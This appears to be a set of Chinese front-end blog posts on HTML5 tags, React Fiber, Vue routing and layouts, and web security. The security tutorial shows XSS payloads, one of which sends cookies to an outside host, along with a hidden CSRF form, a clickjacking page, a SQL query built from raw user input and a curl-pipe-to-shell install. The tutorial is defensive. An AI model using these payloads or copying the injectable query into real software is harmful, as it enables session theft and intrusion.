写html标签最常用的就是div
和span
了,这样带来的问题是写出来的html文档没有语义,还要写一推的样式去重置样式,html5推出来这么长时间了,各种语义化的标签也已经被各大浏览器所支持,这里推荐一些在工作中可能用到的语义化标签,希望别人读你代码时,能像读文档一样轻松。
下面是一个语义页面结构页面:
<header>...</header>
<main>
<nav>...</nav>
<h1>...</h1>
<section>
<article>...</article>
<article>...</article>
</section>
<section>
<article>...</article>
<article>...</article>
</section>
<aside>...</aside>
</main>
<footer>...</footer>
small => 正常文本 => em => strong
It is <em>relevant</em>, but this is <strong>much more</strong>.
This is rather <small>unimportant</small>, though
删除文本可以使用<del/>
标签,修改后文本可以<ins />
标签。
In the end, I was <del>wrong</del><ins>right</ins>
许多种类的数据可以在这里出现,如电子邮件、地址和电话
<address>
E-mail: <a href="mailto:me@mail.me">me@mail.me</a>
Carrot Street, 42 - 01010 My City
</address>
建议使用以人类可读的时间为内容的时间标签,并在datetime属性中使用机器可读的时间。
Published: <time datetime="2020-12-20T20:00:00">Dec. 20th</time>
通常浏览器会给<q/>
标签的文本添加引号
My uncle said, <q cite="https://myuncle.org/famous-quotes">That's life, kid</q>
<blockquote>
<p>That's life, kids. Roll with it.</p>
<cite>
<a href="https://myuncle.org/famous-quotes">Famous quotes</a>, by my uncle
</cite>
</blockquote>
使用<bdo/>
标签的 dir 属性可以改变文本方向
Text in arabic: <bdo dir="rtl">...</bdo>
显示键盘符号和计算机输出符号
When things seem bleak, just press <kbd>Alt</kbd> + <kbd>F4</kbd>
The computer will not say <samp>Access denied</samp> anymore, yay!
This is very important and should be <mark>marked</mark>
以前列表描述会使用dl
标签配合dt
+dd
标签,如果是简单的单行文本描述,可以使用<dfn>
标签,它是definitions简写
<dl>
<dt>Mario</dt>
<dd>An Italian plumber that wears red.</dd>
<dt>Luigi</dt>
<dd>An Italian plumber that wears green.</dd>
</dl>
<p><dfn>Mario</dfn> is an Italian plumber that wears red</p>
通常我们想点击某个文本后,显示更多的隐藏文本,都是使用js才能实现,这里details
标签就可以不用写一行js代码实现效果,而且语义化好懂:
<details>
<summary>Working hours</summary>
Monday to Friday, 8:00 AM to 6:00 PM
</details>
很常见到展现形式,直接用语义化标签显示:
<figure>
<img src="cow.jpg" alt="A cow">
<figcaption>A cow in the pasture</figcaption>
</figure>
更加丰富的图片选择
<picture>
<source srcset="cow-3x.jpg 3x, cow-2x.jpg 2x">
<source srcset="cow-print.jpg" media="print">
<img src="cow-1x.jpg" alt="A cow">
</picture>
汉字拼音也能用标签实现
<ruby>
汉 <rp>(</rp><rt>han</rt><rp>)</rp>
字 <rp>(</rp><rt>zi</rt><rp>)</rp>
</ruby>
rp标签是浏览器不支持显示的内容
meter 可以显示根据数值显示不同的进度颜色,但是各个浏览器表现形式差别很大,而且css不好控制
<meter low="3" high="7" max="10" value="5">5</meter>
<progress max="100" value="50">50%</progress>
浏览器自带的输入框提示信息标签,语义化非常实用
<input type="text" name="shopping-item" list="common-groceries">
<datalist id="common-groceries">
<option value="Eggs">
<option value="Cucumber">
<option value="Peanuts">
<option value="Vodka">
</datalist>
]]>废弃的生命周期如下:
新增的生命周期如下:
被废弃的三个生命周期函数都是在render之前,Fiber的出现将VDOM拆分成一个个小任务,因为Fiber算法是异步渲染,并且其中高优先级任务会打断现有任务,导致函数多次执行。
下面分析下它们被废弃的原因
通常会拿componentWillReceiveProps
和getDerivedStateFromProps
做对比,但是它们还是有很多区别的,
包括触发阶段, 参数和可访问的数据都有很大的差异.
两者的差异:
componentWillReceiveProps
是静态方法componentWillReceiveProps
在接收到新的参数时触发getDerivedStateFromProps
每次组件被重新渲染前被调用componentWillReceiveProps
参数接收新的propsgetDerivedStateFromProps
参数接收新的props和组件当前的state,返回新的state对象或者null不操作componentWillReceiveProps 被废弃的原因:
主要是性能问题。
props每次改变都会导致componentWillReceiveProps
被调用,而且这个调用不会像setState一样被合并,如果有异步请求还可能导致请求阻塞。
相反getDerivedStateFromProps
虽然是在render之前被调用,但是react中大部分更新(render)都是setState触发,setState的操作会被transaction合并,因此触发的频率不会非常频繁。
与 componentWillReceiveProps 类似,许多开发者也会在 componentWillUpdate 中根据 props 的变化去触发一些回调。但不论是 componentWillReceiveProps 还是 componentWillUpdate,都有可能在一次更新中被调用多次,也就是说写在这里的回调函数也有可能会被调用多次,这显然是不可取的。与 componentDidMount 类似,componentDidUpdate 也不存在这样的问题,一次更新中 componentDidUpdate 只会被调用一次,所以将原先写在 componentWillUpdate 中的回调迁移至 componentDidUpdate 就可以解决这个问题。
另外一种情况则是我们需要获取DOM元素状态,但是由于在fiber中,render可打断,可能在WillMount中获取到的元素状态很可能与实际需要的不同,这个通常可以使用第二个新增的生命函数的解决。
与WillMount不同的是, getSnapshotBeforeUpdate会在最终确定的render执行之前执行,也就是能保证其获取到的元素状态与didUpdate中获取到的元素状态相同。
下面的内容整理自:React Fiber 是如何实现更新过程可控的
React Fiber
更新过程的可控主要体现在下面几个方面:
在React Fiber
机制中会将递归遍历 VDOM 的任务拆成若干个小任务,每个节点代表一个小任务,利用时间分片(Time Slicing)执行一个或多个颗粒度小的任务,过程如下:
首先提下两颗 Fiber 树:
workInProgress tree
:当前正在执行更新的 Fiber 树currentFiber tree
:表示上次渲染构建的 Filber 树在新 workInProgress tree 的创建过程中,会同 currentFiber 的对应节点进行 Diff 比较,收集副作用。同时也会复用和 currentFiber 对应的节点对象,减少新创建对象带来的开销。也就是说无论是创建还是更新,挂起、恢复以及终止操作都是发生在 workInProgress tree 创建过程中。workInProgress tree 构建过程其实就是循环的执行任务和创建下一个任务,大致过程如下:
当第一个小任务完成后,先判断这一帧是否还有空闲时间,没有就挂起下一个任务的执行,记住当前挂起的节点,让出控制权给浏览器执行更高优先级的任务。
在浏览器渲染完一帧后,判断当前帧是否有剩余时间(RequestIdleCallback
),如果有就恢复执行之前挂起的任务。如果没有任务需要处理,代表调和阶段完成,可以开始进入渲染阶段,这样完美的解决了调和过程一直占用主线程的问题。
Fiber 将 VDOM 生成链表数据格式,每个任务其实就是在处理一个 FiberNode 对象,每个 FiberNode 对象又会生成下一个需要处理的 FiberNode 任务
其实并不是每次更新都会走到提交阶段。当在调和过程中触发了新的更新,在执行下一个任务的时候,判断是否有优先级更高的执行任务,如果有就终止原来将要执行的任务,开始新的 workInProgressFiber 树构建过程,开始新的更新流程。这样可以避免重复更新操作。这也是在 React 16 以后生命周期函数 componentWillMount 有可能会执行多次的原因。
React Fiber 除了通过挂起,恢复和终止来控制更新外,还给每个任务分配了优先级。具体点就是在创建或者更新 FiberNode 的时候,通过算法给每个任务分配一个到期时间(expirationTime)。在每个任务执行的时候除了判断剩余时间,如果当前处理节点已经过期,那么无论现在是否有空闲时间都必须执行改任务。
任务在执行过程中顺便收集了每个 FiberNode 的副作用,将有副作用的节点通过 firstEffect、lastEffect、nextEffect 形成一条副作用单链表。
最后一步的 RquestIdelCallback 事件不是每一帧结束都会执行,只有在一帧的 16ms 中做完了前面 6 件事且还有剩余时间,才会执行。
RquestIdelCallback 没有执行结束不会进入一下帧的执行,所以 RquestIdelCallback 执行时间最好不要超过 30ms,否则浏览器得不到控制权,会影响下一帧的渲染,导致页面卡顿和事件响应不及时。
如果页面逻辑复杂,函数的执行栈调用太深
会导致浏览在下次帧率绘制之前无法得到控制权
如果这时候有在做动画的操作,会导致不能及时绘制下一帧而让用户觉得卡顿的体验
同时事件响应是在每一帧开始时执行,所以事件响应也会延迟。
React Fiber
之前React
通过原生执行栈递归遍历 VDOM,如果页面太过复杂,会导致函数执行栈太深无法跟上浏览器帧率的刷新,从而影响动画和事件的执行
时间分片指的是一种将多个粒度小的任务放入一个时间切片(一帧)中执行的一种方案,在 React Fiber 中就是将多个任务放在了一个时间片中去执行。
在 React Fiber 中用链表遍历的方式替代了 React 16 之前的栈递归方案。
链表与顺序结构数据的对比:
优点:
缺点
了解React的Fiber任务调度后,发现无论如何,在React中子组件都会被重新render一遍,借住react提供的生命周期方法,可以用memo和shouldComponentUpdate这些方法进行组件的优化,那么Vue是如何做到只更新当前组件而不影响子组件的呢?
与React不同的是,Vue中每个组件都会有自己渲染的 Watcher,负责掌控当前组件的更新,组件会先收集当前的data和props值作为依赖,当更新发生时,触发当前组件和有更新依赖的子组件更新。
关于Vue更详细的组件如何更新强烈推荐这篇文章:为什么说 Vue 的响应式更新比 React 快?
]]>跨站脚本攻击(Cross-site scripting,XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。
xss.html
<h3>hi! <span id="form"></span></h3>
<script type="text/javascript">
const [,...value] = location.search.split("=");
const str = value.join("=")
form.innerHTML = decodeURIComponent(str);
</script>
动态插入脚本:
/xss.html?from=<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script>
获取用户cookie数据:
利用表单填写,插入跨站脚本:
<script src="http://youyoucuocuo.top/getCookie.js"></script>
getCookie.js
let img = document.createElement("img");
img.width = 0;
img.height = 0;
img.src = "http://youyoucuocuo.top/sendCookie?joke="+decodeURIComponent(document.cookie)
通过url参数直接注入,脚本一般在路径上,一般会通过短网址的方式加密后再发送。
存储到DB后读取时注入,一般会通过表单存储进数据库中,危害更大。
input
或者 textarea
内容输入框直接输入脚本。
转义符号:
const escapeHtml = (str)=> {
str = str.replace(/</g,"<");
str = str.replace(/>/g,">");
return str;
}
<img src="1" onerror="alert(1)">
url路径显示图片地址:
/detail?avatar=1" onerror="alert(1)"
query参数 avatar
,因为后面只添加了一个引号将图片闭合,紧接着就可以加入onerror触发事件了。
转义html属性中的引号:
const escapeHtmlProperty = (str)=> {
if(!str) return;
str = str.replace(/"/g,"&quto;"); // 转换双引号
str = str.replace(/'/g,"'"); // 转换单引号
str = str.replace(/ /g," "); // 转换空格
return str;
}
var data = "#{data}";
var data = "hello";alert(1);"";
跟上面图片原理类似,通过双引号,将结束符合延后:
/detail?form=google";alert(1);""
转义 ”\“ 或者转换成json
const escapeForJs = function(str){
if(!str) return;
str = str.replace(/\\/g,'\\\\');
str = str.replace(/"/g,'\\"');
return str;
}
用JSON.stringify转换:
JSON.stringify(ctx.query.form)
黑名单:
const xssFilter = function(html){
if(!html) return;
html = html.replace(/<\s*\/?script\s*>/g,'');
html = html.replace(/javascript:[^'"]*/g,'');
html = html.replace(/onerror\s*=\s*[^'"]*['"]?/g,'');
return html;
}
按白名单保留部分标签和属性:
const xssFilter = function(html){
if(!html) return;
const cheerio = require("cheerio");
const $ = cheerio.load(html);
// 白名单
const whiteList = {
"img": ["src"],
"font": ["color", "size"],
"a": ["href"]
};
$("*").each(function(index, elem){
// 将不在白名单的属性去除
if(!whiteList[elem.name]){
$(elem).remove();
return;
}
for(let arr in elem.attribs){
if(whiteList[elem.name].indexOf(attr) === -1){
$(elem).attr(attr, null);
}
}
});
return $.html();
}
第三方xss白名单过滤包 js-xss
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS (en-US)) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
MDN 文档:
meta标签设置:Content-Security-Policy、CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
跨站请求伪造(CSRF)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。
<body>
<form
name="commentForm"
method="post"
action="http://localhost:8080/post/addComment"
target="csrf"
>
<input type="hidden" name="postId" value="13" />
<textarea name="content">来自CSRF!</textarea>
</form>
<script>
const iframe = document.createElement("iframe");
iframe.name = "csrf";
iframe.style.display = "none";
document.body.appendChild(iframe);
setTimeout(() => {
document.forms["commentForm"].submit();
}, 1000);
</script>
</body>
如上,通过隐藏表单,向 /post/addComment
的地址发送评论数据。
如果是支持 GET
请求的表单提交,直接通过链接标签点击后触发:
<a href="http://localhost:8080/ajax/addComment?content=来自CSRF&postId=13">点击这里有钱拿!</a>
甚至可以通过图片直接出发请求
<img src="http://localhost:8080/ajax/addComment?content=来自CSRF&postId=13" />
1、用户登录A网站
2、A网站确认身份
3、B网站页面向A网站发起请求(带A网站身份)
HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
删除cookie使用过期时间删除:
document.cookie = "name=chenwl; expire=Sun, 07 May 2020 10:20:12 GTM";
使用方式
前端通过:用户ID + 秘钥 => 签名cookie
生成加密后的cookie,同时发送用户ID
和签名cookie
给到前端,
接收请求时再通过用户名ID
校验签名cookie
是否正确。
为了保证安全,将用户数据存储在后端内存中,每个数据对应唯一字符串(sessionId),并将sessionId
发送给前端,这样前端不存储任何用户相关数据,只有在请求时带上sessionId,后端根据sessionId在内存中查找数据。
const session = {};
const cache ={};
session.set = function(obj){
const sessionId = Math.random();
if(!cache[sessionId]){
cache[sessionId] = {}
}
cache[sessionId].content = obj;
return sessionId
};
session.get = function(sessionId){
return cache[sessionId] && cache[sessionId].content;
}
module.exports = session;
在开发中,一般不会把session放到内存中,不仅占内存和而且重启容易丢失,一般会存放到redis数据库中。
跟上面 用户ID + 秘钥 => 签名cookie
方式一样。
将数据加密后再发送给前端,
const crypto = require("crypto");
const KEY = "secret_key";
const cipher = crypto.createCipher("des", KEY);
let text = cipher.update("hello world", "urf8", "hex");
text+= cipher.final("hex");
console.log(text); // 760e03ada6159566236fe30e35bedc32
const decipher = crypto.createDecipher("des", KEY);
let originalText = decipher.update(text, "hex","utf8");
originalText+=decipher.final("utf8");
console.log(originalText); // hello world
其它安全设置:http-only
、 secure
、same-site
钓鱼网站用图片将网站内容遮住,利用图片内容诱惑用户点击,真实网站被嵌入 iframe 并设置为透明:
<html>
<head>
<title>click demo</title>
<style>
body {
background: url(clickJack.png) no-repeat contain;
}
iframe {
opacity: 0;
width: 100%;
hieght: 100%;
}
</style>
</head>
<body>
<iframe src="http://localhost:8080/post/15"></iframe>
</body>
</html>
if (top.location != window.location) {
top.location = window.location;
}
在window中top属性指向的是iframe的父元素,如果不相等则证明当前网站被内嵌在iframe了,出现这种情况可以利用location
重定向回去。
这种方式虽然能防止网站被内嵌在iframe操作,不过 html5 新增属性 sandbox 限制iframe能力,下面是只允许iframe有表单提交能力:
<iframe src="http://localhost:8080/post/15" sandbox="allow-forms" ></iframe>
X-FRAME-OPTIONS
禁止内嵌X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在
<frame>, <iframe>, <embed> 或者 <object>
中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 clickjacking 攻击
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
一个网站通过浏览器请求可能经过的传输链路:
浏览器 <-> [ 代理服务器 <-> 链路 ] <-> 服务器
传输链路窃听篡改
Mac和linux可以通过traceroute
命令查看访问服务器过程中间经过的节点:
$ traceroute www.baidu.com
代理抓包工具:
anyproxy
浏览器 <-> [ 代理服务器 <-> 链路 ] <-> 服务器
TLS(SSL) 加密
三个角色:CA
、浏览器
、服务器
分工如下
1、(申请证书)
服务器 => CA
2、(验证域名 颁发证书)
CA => 服务器
3、(发起请求)
浏览器 => 服务器
4、(出具证书)
服务器 => 浏览器
5、(内置信任列表,验证通过)
浏览器 => CA => 服务器
特征:
1、进入sslforfree,输入需要申请的域名后,点击申请。
2、点击 Manual Verification(DNS)
后确认 Manually verify Domain
3、将解析记录值 TXT 在域名解析中设置
4、下载SSL Certificate
证书
配置服务,Koa为例子:
const Koa = require("koa");
const app = new Koa();
const https = require("https");
https
.createServer(app.callback())
.listen(3000,()=>{
console.log("App https is listening on port 3000");
})
将下载证书放置服务根目录./cert
下,下载后的证书共有三个:
/cert
- ca_boundle.crt (CA证书)
- certificate.crt (自己的证书)
- private.key(私钥)
接着需要合并这书ca_boundle.crt
和certificate.crt
的内容,合并后文件取名:fullchain.crt
/cert
- ca_boundle.crt (CA证书)
- certificate.crt (自己的证书)
- private.key(私钥)
- fullchain.crt (合并了CA和自己的证书)
const fs = require("fs");
const httpsConfig ={
key: fs.readFileSync("./cert/private.key"),
cert: fs.readFileSync("./cert/fullchain.crt"),
};
https
.createServer(httpsConfig,app.callback())
.listen(3000,()=>{
console.log("App https is listening on port 3000");
})
最后直接访问localhost:3000
是无法验证成功的,需要修改host为sslforfree申请通过的秘钥域名。
配置nginx:
server {
listen 80;
listen 443 ssl http2;
server_name youyoucuocuo.top;
ssl_certificate /root/.acme.sh/youyoucuocuo.top/fullchain.pem;
ssl_certificate_key /root/.acme.sh/youyoucuocuo.top/privkey.pem;
location / {
root /data/web/youyoucuocuo.top;
}
}
重启nginx:
nginx -s reload
下载执行脚本:
curl https://get.acme.sh | sh
脚本下载位置:
cs /root/.acme.sh
执行证书申请操作(确定有改文件执行权限):
acme.sh --issue -d youyoucuocuo.top -d www.youyoucuocuo.top --webroot /data/web/youyoucuocuo.top/
再次重启nginx后完成部署。
加密函数:
const uitls = {};
const md5 = function(str){
const crypto = require("crypto");
const md5Hash = crypto.createHash("md5");
md5Hash.update(str);
return md5Hash.digest("hex");
}
uitls.getSalt = function(){
return md5(Math.random()*99999 + "" + Date.now());
}
uitls.encryptPassword = function(salt, password){
return md5(salt + "af@!99$cc%aa*@!" + password);
};
module.exports = uitls;
在koajs中对用户名和密码校验:
const uitls = require("./uitls");
async (ctx)=>{
const {username, password} = ctx.body;
const users = await query(`select * from users where username=${username}`);
if(!users.length) ctx.error(400,"password or pin must provided");
const user = users[0];
// 用户没有salt
// 需要升级
if(!user.salt){
const salt = uitls.getSalt();
const newPassword = uitls.encryptPassword(salt, user.password);
await query(`update user set password=${newPassword},salt=${salt} where id=${user.id}`);
user.salt = salt;
user.password = newPassword;
}
const encryptPassword = uitls.encryptPassword(user.salt, password);
if(encryptPassword !== user.password){
ctx.error(400,"invalid username or password");
}
}
原因:
上传文件被当成程序被执行
防御:
1、限制上传后缀
2、文件类型检查
3、文件内容检查
4、程序输出(readFile)
5、控制权限-可写可执行互斥
因为实现的方式有很多种,所以本文只是分析实现原理,基于vue-cli
实现的vue2
和vue3
版本可以查看原作者的代码仓库,我这里使用vite+vue3+ts
的方式实现。
在日常开发中,路由的配置繁琐无趣,我们期望在写页面组件的过程中,自动生成路由配置并且导入页面组件。
自动导入路由配置的方法,需要解决如下的几个问题:
用 vue-cli 或 vite 生成的项目都可以实现自动读取文件夹下文件信息的功能。
vue-cli 生成的是webpack工程,可以通过 require.context
读取文件夹下目录:
require.context('../views', true, /\.vue$/)
vite 也提供了读取文件夹目录信息的方法Glob Import:
import.meta.glob('../views/**/*.vue')
通过 meta.glob
返回的数据类型如下:
ImportMeta.glob(pattern: string): Record<string, () => Promise<{[key: string]: any;}>>
因为页面路由返回的都是Promise组件,最终生成的路由配置也会是异步函数,路由配置导出如下:
import { createRouter, createWebHashHistory } from 'vue-router'
import routes from './routes'
export default Promise.all(routes).then((routes) => {
return createRouter({
history: createWebHashHistory(),
routes,
})
})
在main.js
文件中,需要等待路由组件都加载完毕后再初始化:
import { createApp } from 'vue'
import App from './App.vue'
;(async ()=>{
const module = await import("./router");
const router = await module.default;
createApp(App).use(router).mount('#app')
})()
下面的目录结构:
- src
- views
- users
- Profile.vue
- Index.vue
Index.vue
生成的目录信息:
const routes = {
"../views/Index.vue": ()=>import("Index.vue"),
"../views/user/Index.vue": ()=>import("user/Index.vue"),
"../views/user/Profile.vue": ()=>import("user/Profile.vue"),
}
期望生成的路由配置:
[
{
component: Index.vue,
name: 'Home',
path: '/'
}
{
component: user/Index.vue,
name: 'User',
path: '/user'
}
{
component: user/Create.vue,
name: 'UserProfile',
path: '/user/profile'
}
]
/^\.+\/views\/([\s\S]*?)\.vue$/
toLowerCase()
const regexpPathName = /^\.+\/views\/([\s\S]*?)\.vue$/
const importAll = (routes: importType) => {
return Object.keys(routes).map(async (key) => {
let pathname = key.match(regexpPathName)[1].toLowerCase()
// 需要startsWith(index) 和 endsWith(index) 判断,这里简单实现
if (pathname.includes('index')) {
pathname = pathname.replace('index', '')
}
const { default: component } = await routes[key]()
return {
path: '/' + pathname,
component,
}
})
}
const pages: importType = import.meta.glob('../views/**/*.vue')
export default importAll(pages)
动态路由如下:
[
...
{
component: posts/_Id.vue,
name: 'PostDetails',
path: '/posts/:id'
}
{
component: posts/edit/_Id.vue,
name: 'PostEdit',
path: '/posts/edit/:id'
}
]
统一规定_
开头的文件名为动态路由参数,如:_Id.vue
,创建_Id.vue
如下:
<template>
<div>
<h1>This is a page of the post with id {{ $route.params.id }}</h1>
</div>
</template>
<script>
export default {
name: "PostDetails"
}
</script>
既然规定了命名规范,在生成路由前截取替换:
if(pathname.startsWith("_")){
pathname = pathname.replace('_', ':')
}
嵌套路由配置如下:
[
...
{
component: users/Index.vue,
name: 'Users',
path: '/users',
children: [
{
component: users/^Profile.vue,
name: 'UserProfile',
path: '/users/profile'
}
],
}
]
嵌套路由存在子属性children
,在项目中也经常使用
统一规定^
开头的文件为子路由,例如 ^Profile.vue
。
嵌套路由实现比较复杂,实现思路如下:
^
开头的文件,保存子路由指向父路由的唯一key值详细代码可以参考仓库代码“router/routes.ts”
通过在配置路由时,会在路由配置添加meta信息,用于传递路由的额外信息:
{
component: users/Index.vue,
name: 'Users',
path: '/users',
meta: {
title: "user",
layout: "UserLayout",
middleware: [requestAuth]
}
}
由于是自动生成的配置,meta信息可以直接添加到组件:
export default {
name: "Users",
meta: {
title:"用户页面",
middlewares: [authMiddleware],
},
mounted(){}
...
};
在获取路由后,解构出对应的信息:
const { default: component } = await routes[key]()
const { name, meta } = component;
return {
path,
name,
component,
meta
}
给路由中间件传递参数:
export default Promise.all(routesPromise).then((routes) => {
const router = createRouter({
history: createWebHashHistory(),
routes,
})
// 每次路由的调用,都会先执行判断是否有路由中间件需要执行
router.beforeEach((to, form, next) => {
if (!to.meta.middlewares) return next();
// 将参数交给路由中间件处理
const middlewares = to.meta.middlewares || [];
middlewares.forEach(middleware=>middleware(to, form, next));
})
return router
})
]]>在写vue页面级整体布局时,一般的做法是在外层包裹布局组件:
<template>
<MyLayout>
<h1>Here is my page content</h1>
</MyLayout>
</template>
<script>
import MyLayout from '@/layouts/MyLayout.vue'
export default {
name: 'MyPage',
components: { MyLayout }
}
</script>
这种做法会带来几个缺陷:
利用 vue-cli 初始化工程:
vue create vue-layouts
vue2 和 vue3 的项目都行,后面都会讲到。
整理src下的目录结构如下:
- src
- views
- About.vue
- Contacts.vue
- Home.vue
- App.vue
- main.js
- router.js
<template>
<div id="app">
<div id="nav">
<router-link to="/">Home</router-link> |
<router-link to="/about">About</router-link> |
<router-link to="/contacts">Contacts</router-link>
</div>
<router-view/>
</div>
</template>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
#nav {
padding: 30px;
}
#nav a {
font-weight: bold;
color: #2c3e50;
}
#nav a.router-link-exact-active {
color: #42b983;
}
</style>
<template>
<div>
<h1>This is a home page</h1>
</div>
</template>
<script>
export default {
name: 'Home'
}
</script>
<template>
<div>
<h1>This is an about page</h1>
</div>
</template>
<script>
export default {
name: 'About'
}
</script>
<template>
<div>
<h1>This is a contacts page</h1>
</div>
</template>
<script>
export default {
name: "Contacts"
}
</script>
import Vue from 'vue'
import VueRouter from 'vue-router'
Vue.use(VueRouter)
const routes = [
{
path: '/',
name: 'Home',
component: () => import('@/views/Home.vue')
},
{
path: '/about',
name: 'About',
component: () => import('@/views/About.vue')
},
{
path: '/contacts',
name: 'Contacts',
component: () => import('@/views/Contacts.vue')
}
]
const router = new VueRouter({
mode: 'history',
base: process.env.BASE_URL,
routes
})
export default router
接下来开始创建布局
创建 layouts/AppLayout.vue,下面是 Vue2 的实现方式:
<template>
<component :is="layout">
<slot />
</component>
</template>
<script>
const defaultLayout = 'AppLayoutDefault'
export default {
name: "AppLayout",
computed: {
layout() {
const layout = this.$route.meta.layout || defaultLayout
return () => import(`@/layouts/${layout}.vue`)
}
}
}
</script>
这是一个非常简单的组件,确是整个布局组件的核心内容,首先创建动态组件component
,根据计算属性layout
决定加载返回的组件内容。
计算属性 layout
决定加载的组件由路由 meta
属性判断,如果不存在则加载默认布局组件,最后通过异步的方式加载布局组件。
下面是 Vue3 Composition API 的实现方式:
<template>
<component :is="layout">
<slot />
</component>
</template>
<script>
import AppLayoutDefault from './AppLayoutDefault'
import { shallowRef, watch } from 'vue'
import { useRoute } from 'vue-router'
export default {
name: 'AppLayout',
setup () {
const layout = shallowRef(AppLayoutDefault)
const route = useRoute()
watch(
() => route.meta,
async meta => {
try {
const component = await require(`@/layouts/${meta.layout}.vue`)
layout.value = component.default || AppLayoutDefault
} catch (e) {
layout.value = AppLayoutDefault
}
},
)
return { layout }
}
}
</script>
Vue3 的 layout
使用 shallowRef
保存对组件的引用,减少性能开销,同样 markRaw
也能达到效果。
在创建页面布局组件之前,先对现有的代码做一些重构,首先是创建导航布局组件:
<template>
<div id="nav">
<router-link to="/">Home</router-link> |
<router-link to="/about">About</router-link> |
<router-link to="/contacts">Contacts</router-link>
</div>
</template>
<script>
export default {
name: "AppLayoutLinks"
}
</script>
<style scoped>
#nav {
padding: 30px;
}
#nav a {
font-weight: bold;
color: #2c3e50;
}
#nav a.router-link-exact-active {
color: #42b983;
}
</style>
<template>
<div id="app">
<router-view/>
</div>
</template>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
</style>
接下来创建Home
、About
、Contacts
和 默认页面的布局组件:
<template>
<div>
<slot />
</div>
</template>
有一点需要注意的是,布局组件的命名需要跟声明动态组件的变量相同,组件的导入根据文件名查找:
const defaultLayout = 'AppLayoutDefault'
...
const layout = this.$route.meta.layout || defaultLayout
return () => import(`@/layouts/${layout}.vue`)
<template>
<div>
<header class="header" />
<AppLayoutLinks />
<slot />
</div>
</template>
<script>
import AppLayoutLinks from '@/layouts/AppLayoutLinks'
export default {
name: "AppLayoutHome",
components: { AppLayoutLinks }
}
</script>
<style scoped>
.header {
height: 5rem;
background-color: green;
}
</style>
<template>
<div>
<header class="header" />
<AppLayoutLinks />
<slot />
</div>
</template>
<script>
import AppLayoutLinks from '@/layouts/AppLayoutLinks'
export default {
name: "AppLayoutAbout",
components: { AppLayoutAbout }
}
</script>
<style scoped>
.header {
height: 5rem;
background-color: blue;
}
</style>
<template>
<div>
<header class="header" />
<AppLayoutLinks />
<slot />
</div>
</template>
<script>
import AppLayoutLinks from '@/layouts/AppLayoutLinks'
export default {
name: "AppLayoutContacts",
components: { AppLayoutLinks }
}
</script>
<style scoped>
.header {
height: 5rem;
background-color: red;
}
</style>
这里为了演示,只是对不同布局组件的背景做了颜色变化。
在路由配置中,新增meta
属性,配置不同页面的布局方式:
import Vue from 'vue'
import VueRouter from 'vue-router'
Vue.use(VueRouter)
const routes = [
{
path: '/',
name: 'Home',
component: () => import('@/views/Home.vue'),
meta: {
layout: 'AppLayoutHome'
}
},
{
path: '/about',
name: 'About',
component: () => import('@/views/About.vue'),
meta: {
layout: 'AppLayoutAbout'
}
},
{
path: '/contacts',
name: 'Contacts',
component: () => import('@/views/Contacts.vue'),
meta: {
layout: 'AppLayoutContacts'
}
}
]
const router = new VueRouter({
mode: 'history',
base: process.env.BASE_URL,
routes
})
export default router
最后将前面的工作串联起来,将router-view
包裹到高阶组件 AppLayout
:
<template>
<div id="app">
<AppLayout>
<router-view />
</AppLayout>
</div>
</template>
AppLayout
在 main.js 中注册成全局组件。
Vue2 版本的全局组件注册:
import Vue from 'vue'
import App from './App.vue'
import router from './router'
import AppLayout from '@/layouts/AppLayout'
Vue.component('AppLayout', AppLayout)
new Vue({
router,
render: h => h(App)
}).$mount('#app')
Vue3 版本的全局组件注册:
import { createApp } from 'vue'
import App from './App.vue'
import router from './router'
import AppLayout from './layouts/AppLayout'
createApp(App)
.use(router)
.component('AppLayout', AppLayout)
.mount('#app')
这种组件布局管理的方式在vue的应用中管理起来非常方便,主要有这几点便利:
接口请求是项目开发中不可或缺的一部分,api模块的封装关系到后面项目的维护和扩展。
在项目开发过程中,不同的模块可能对应不同的api文档,好的接口模块能够起到事倍功半的效果。
下面👇 是项目中经过封装后抛出的请求模块:
export const $api = {
users: new UsersApiService(),
posts: new PostsApiService(),
albums: new AlbumsApiService()
};
users
、posts
、albums
对应不同模块的接口服务。
封装后的模块在组件中的使用:
// 查找
this.$api.users.get(userId);
// 删除
this.$api.users.delete(userId);
// 新增
this.$api.users.add({ name:"new user" });
// 修改
this.$api.users.update(userId,{ name:"update" });
通常在项目中,接口的CRUD(增查改删)操作在模块中可能是基础功能的存在,还有像统一的请求头信息、路径前缀、相同的数据格式等等。
在编写接口模块之前,先创建基础类统一管理:
class BaseApiService {
baseUrl = "https://jsonplaceholder.typicode.com";
resource;
constructor(resource) {
if (!resource) throw new Error("Resource is not provided");
this.resource = resource;
}
getUrl(id = "") {
return `${this.baseUrl}/${this.resource}/${id}`;
}
handleErrors(err) {
// Note: 这里抛出错误参数
console.log({ message: "Errors is handled here", err });
}
}
只读接口(查找)服务:
class ReadOnlyApiService extends BaseApiService {
constructor(resource) {
super(resource);
}
async fetch(config = {}) {
try {
const response = await fetch(this.getUrl(), config);
return await response.json();
} catch (err) {
this.handleErrors(err);
}
}
async get(id) {
try {
if (!id) throw Error("Id is not provided");
const response = await fetch(this.getUrl(id));
return await response.json();
